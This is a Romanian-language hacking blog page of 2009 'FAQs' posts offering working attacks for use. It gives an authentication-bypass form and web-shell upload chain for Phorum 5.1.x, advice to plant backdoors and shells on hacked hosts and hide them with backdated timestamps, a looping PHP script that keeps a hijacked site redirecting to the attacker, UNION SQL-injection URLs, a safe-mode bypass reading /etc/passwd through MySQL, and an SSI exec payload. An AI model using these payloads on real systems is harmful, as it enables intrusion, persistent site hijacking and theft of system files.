RicH and FamouS

       Home         Glosar IT                                                                                                                                                                                                              SUBSCRIBE NOW!
        
Se afișează postările cu eticheta FAQs. Afișați toate postările
Se afișează postările cu eticheta FAQs. Afișați toate postările

04.07.2009

FAQs - №5

Problema: Am auzit, că se poate cumva de intrat în Admin Control Panel al ultimelor versiuni de Phorum 5.1.x fără ca sa ştii parola administratorului. Ştii ceva amănunte despre aceasta?

Rezolvare: Destul de simplu ! Pentru aceasta ai nevoie de a crea un mic html-file cu următorul conţinut:
Cod:
<_html>
<_body>
<_form action="http://phorum.site.com/admin.php" method="POST">
<_input type="hidden" name="phorum_admin_session[]" value="1">
<_input type="hidden" name="phorum_session_v5[]" value="=1">
<_input type="submit" calue="Inject ! ">
<_/form>
<_/body>
<_/html>
P.S. Liniile _ din cod se elimina
După submit tu te vei afla în Admin Control Panel al Phorum-ului. În unele cazuri merge următorul mod de încărcare a shell-ului pe baza bug-ului prezentat mai sus:
  1. Intrăm în pagina de redactare a profilului administratorului. În semnătura lui punem un mic shell ca acesta: <_?php>'; system($_GET [cmd]); print '<_/pre>'; ?>.
  2. În rezultat afişării unui cod incorect în profilul administratorului observăm o greşeală << full path disclosure în momentul intrării in pagina principală a forumului >>. Copiem calea către fişierul cache.php ( de exemplu /home/www/phorum/cache.php), care apoi îi vom face shell în md5.
  3. În configuraţiile Phorum bifăm secţiunea cache users. Arătăm calea pentru fişierele shell-uite /../../../../../../../../../../../../../../../../tmp şi în default language punem /../../../../../../../../../../../../../../../../../tmp/md5('home/www/phorum/cache.php')/user/c4ca/4238/a0b9/2382/0dcc/509a/6f75/849b/data.
  4. Din nou intrăm în Admin Control Panel pentru a activa noul cod în cache şi primim plăcere de la shell. În momentul cînd am scris acest FAQ ambele bug-uri nu erau încă astupate.

29.06.2009

FAQs - №4

Problema: Ocupîndu-mă cu SEO, am întîlnit problema furtului a doorway-urilor. Cum mă pot proteja eu de această "năpastie"?

Rezolvare: Dacă tu faci doorway pe host, hack-uit prin Public Vulnerability pe motorul instalat acolo, atunci poti închide catalogul cu acel motor cu ajutorul chmod, modifică parola hash a administratorului în ceva de genul acesta haha&_$#@%. Dar de obicei aceasta puţin ce ajută, şi doorway-erii întîlnesc problema furtului doorway-urilor post factum, de aceea ţine minte următoarea regulă: pentru ca mai uşor să îţi poţi intoarce doorway-ul, lasă cîte mai multe backdoor-uri şi Shell-uri pe hostul hack-uit, însă cu toate acestea nu uita timpul de modificare a fişierelor prin comanda touch -t AnLunăZiOrăMinuteSecunde shell.php. Dupa furtul de doorway primul lucru care trebuie să îl faci este să găseşti şi să ştergi Shell-urile persoanelor nedorite ( aceasta se poate de facut cu ajutorul comenzii find - -mtime -60-grep.php ), apoi schimbă readresarea către shell-ul tău şi protejazăte cu ajutorul următorului scenariu-php:
Cod:
<_?php
ignore_user_abort(true);
set_time_limit(0);
while (!is_file('stop.dat'))
{
@chmod('/var/www/html/catalog',0777);
$textht='<_?php
header("Location: http://shell-ul_tău.com");
?>';
$fp = @fopen("/var/www/html/catalog/index.php","w");
@flock ($fp, LOCK_EX);
@fput ($fp, $textht);
@flock ($fp, LOCK_UN);
@fclose ($fp);
sleep(5);
}
?_>
P.S. Linia _ din cod se elimina
Încarcă scriptul cu acest cod ( schimbînd dinainte drumul către locaţia unde la tine stă doorway-ul ) într-un oarecare catalog pe server, disponibil din internet, şi lanseazăl în browser. După acesta poţi închide browser-ul. :) Scriptul cu periodicitatea de 5 secunde va rescrie fişierul cu readresarea către al tău, aşa că jefuitorii se vor mira foarte tare cînd vor înscrie fişierul propriu cu readresarea, însă în locul lui momentan va apărea altul.

25.06.2009

FAQs - №3

Problema: Este posibil oare ca în programele create în Java să se supraîncarce buffer-ul?

Rezolvare: Nu. Verificatorul bytecode-ului ( bytecode verifier ) scanează bytecode-urile, extrăgînd informaţia despre tipul obiectelor în fiecare punct de executare a fragmentului de cod. Maşina virtuală Java protejează de ieşirea "peste hotarele" memoriei acordate - se face excluderea, cu toate aceste codul introdus nu va fi executat. Nu se poate întîmpla supraîncărcarea sau stack-ului, parametrii pentru instruirea byte-maşinii are tipul necesar, iar permisiunea către cîmpurile şi metodele obiectelor nu încalcă declaraţiile în clasele de reguli (public, private, protected).

_____________________________________________________

Problema: Fac o injectie, însă la ieşire nimic nu se primeste, dar ştiu 100% că boxele există?

Rezolvare: Se pare că trebuie utilizat operatorul LIMIT. Dacă cererea iniţială arată cam în felul următor:
http://target/script.php?p=-1 union select 1,2,user,4 from users/*
atunci adaugă limit şi încearcă (enumeră) n-urile:
http://target/script.php?p=-1 union select 1,2,user,4 from users limit n,1/*
unde n de la 0 la 9.

20.06.2009

FAQs - №2

Problema: Cum pot trece peste Safe-mode în ultimile versiuni PHP?

Rezolvare: Iată unele scripturi, care te vor ajuta să citeşti conţinutul file-urilor şi a fişierelor în sistemă atunci cînd e activat safe-mode: PHP <=4.4.7/5.2.3MySQL/MySQLi Safe Mode Bypass Vulnerability
Cod:
<_?php
file_get_contents('/etc/passwd');
$1 = mysql_connect("localhost","root");

mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT, INSERT ON a.a TO 'aaaa'@'localhost' ");
mysql_close($1);
mysql_connect("localhost", "aaaa");
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))

print $row . chr(10);
?>
P.S. Linia _ din cod se elimina

_____________________________________________________

Problema: Cum pot depista că SQL-Injecţia se află anume în cererea SELECT, dar nu în cererea DELETE, UPDATE sau altele?

Rezolvare: Pentru aceasta se poate de încercat de pus la sfîrşitul cererei operatorul LIMIT. Lipsa errorii ne va comunica despre, faptul ca serverul lucrează cu MySQL (deoarece, precum ştim, LIMIT - nu e standartul Structured Query Language) şi, desigur, despre faptul că acolo întradevăr figurează operatorul SELECT. Însă în cazul în care nu e MySQL, atunci utilizatorul care atacă poate să încerce să pună GROUP BY 1 sau HAVING 1=1 - cereri, care se referă către standartul limbajului SQL şi care lucrează doar în operatorul SELECT. Aceste 2 metode pot afla tipul cererii şi pot stabili care va fi tehnica de hack mai departe a resursei.

16.06.2009

FAQs - №1

Problema: Cum e posibil transmiterea de fişiere de pe un server pe altul fară implicarea utilizatorului şi fară necesitatea de copiere a acestuia pe computerul propriu?

Rezolvare: Desigur pentru rezolvarea acestei probleme se poate utiliza FTP, dar eu totuşi aş prefera să scriu în PHP 2 scripturi:
  • Script-server server.php, care transmite conţinutul fişierului în următoarea cerere-POST:
    Cod:
    POST http://host.com/client.php HTTP/1.0
    Host: host.com
    Content-Type: multipart/form-data;
    boundary=1BEF0A57BE110FD467A
    Content-Length: numărul_de_simboluri_in_fişier (funcţia strlen())

    - 1BEF0A57BE110FD467A
    Content-Disposition: form-data;
    name="file";
    filename="NUMELE_FIŞIERULUI.TXT"
    Content-Type: application/octet-stream
    Content-Transfer-Encoding: binary
    - 1BEF0A57BE110FD467A --
    Connection: Close
    Semnătura: conţinutul fişierului
  • Script-client client.php, care prinde fişierul încărcat din $_FILE['file']['tmp_name'].
_____________________________________________________

Problema:
În ce mod se poate de executat system commands în web-shell cu ajutorul PHP, dacă este activat Safe-mode şi nu am posibilitatea să încarc un web-shell în Perl?

Rezolvare: De ce oare toţi ţin minte despre executarea system commands cu ajutorul Perl şi PHP, şi din contra toţi uita despre un astfel de lucru precum SSI (Server Side Includes).
Acestea sunt directivele în fişiere de tip shtml, care se execută de către web-server fară ajutorul utilizatorului. Cu ajutorul SSI se poate de creat lucruri destul de interesante: începînd cu includerea de fişierelor şi terminind cu executarea de system commands. Deci SSI se include direct în corpul paginii web în forma:
Cod:
<_html>
<_body>
<_!--#exec cmd="ls - la/; cat/etc/passwd">
<_/body>
<_/html>
P.S. Toate _ din cod se elimina
Desigur, cînd vei intra pe site tu vei vedea executarea directivelor date de tine "ls - la/" şi "cat/etc/passwd". :)

    Blog din Moldova    FastCounter 

 
Copyright © 2008-2010 Foster1. All rights reserved.